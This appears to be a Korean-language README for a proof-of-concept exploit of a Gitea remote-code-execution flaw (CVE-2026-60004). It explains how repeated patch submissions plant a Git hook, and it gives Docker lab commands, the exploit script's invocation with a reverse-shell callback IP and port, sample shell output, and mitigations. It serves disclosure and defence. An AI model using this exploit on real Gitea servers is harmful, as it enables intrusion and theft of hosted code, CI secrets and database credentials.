
CVE-2026-60004 — Updated!
Gitea diffpatch RCE
CVE-2026-60004 Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
개요
CVE-2026-60004는 Gitea의 원격 코드 실행(RCE) 취약점입니다.
diffpatchAPI는 제공된 패치를git apply --cached로 적용하는데, 이는 인덱스만 수정하고 디스크에 파일을 쓰지 않아야 합니다. 동일한 패치를 두 번 전송함으로써 공격자는 add/add 충돌을 강제하여 Git의 3-way 병합 폴백(-3) 을 트리거합니다. 이 경로는--cached를 무시하고 파일을 작업 트리(working tree)에 체크아웃합니다. 임시 클론이 bare 저장소이므로 작업 트리 루트는$GIT_DIR입니다. 따라서 실행 가능한hooks/post-index-change를 생성하는 패치는 실제 Git 훅을 배치하게 되고, Git은 다음 인덱스 업데이트 시 이를 자동으로 실행하여 Gitea 서비스 계정으로 명령을 실행합니다. 이 엔드포인트는 저장소 쓰기 권한이 필요하지만, 등록이 기본적으로 활성화되어 있으므로 가입하고 저장소를 생성할 수 있는 모든 사용자가 접근할 수 있습니다.
영향을 받는 버전
| 구분 | 버전 |
|---|---|
| 취약한 버전 | Gitea 1.17 ≤ 버전 ≤ 1.27.0 |
| 패치된 버전 | Gitea 1.27.1 이상 |
영향
- Gitea 서비스 계정(
git)으로 원격 코드 실행 - 호스팅된 모든 저장소, CI 비밀값, 데이터베이스 자격 증명에 대한 접근
환경
취약한 Gitea 환경을 빌드하고 실행합니다. 등록은 열려 있고 서버에는 Git 2.32+가 포함되어 있어 공격이 의존하는 -3 폴백이 활성화됩니다.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| 사전 조건 | 이 실습 환경의 상태 |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
서버의 Git 2.32+ (-3 활성화) | 2.54 |
| 공개 등록 | 활성화됨 (기본값) |
| 저장소 쓰기 권한 | 자체 등록 계정을 통해 |
PoC
이 익스플로잇은 gitea_exploit.py에 의해 완전히 자동화됩니다. 저장소를 생성할 수 있는 계정이 주어지면 대상 저장소를 생성하고, Git의 -3 폴백이 발생할 때까지 동일한 패치를 반복적으로 제출하며, 내장 리스너로 리버스 셸을 포착합니다 — 수동 설정, 패치 제작, blob-hash 계산이 필요 없습니다.
# python3 gitea_exploit.py <대상 ip:port> <콜백 ip> [콜백 port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
-3 폴백은 특정 타이밍 창에서만 발생하므로 스크립트는 셸을 포착할 때까지 create → send → send를 반복합니다(기본 25회 시도). 전송이 차단되면 훅이 실행된 것이며 리스너가 git 계정으로 셸을 제공합니다:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
옵션:
--no-listen— 내장 리스너 대신 자체 외부nc로 셸을 포착--user/--pw/--repo/--branch— 기본 계정 및 대상 저장소 재정의
완화 조치
- Gitea를 1.27.1 이상으로 업그레이드
- 필요하지 않으면 공개 등록 비활성화 (
DISABLE_REGISTRATION=true) - 인스턴스에 접근하고 저장소를 생성할 수 있는 사용자 제한
분석
- KR: 곧 제공 예정!
- EN: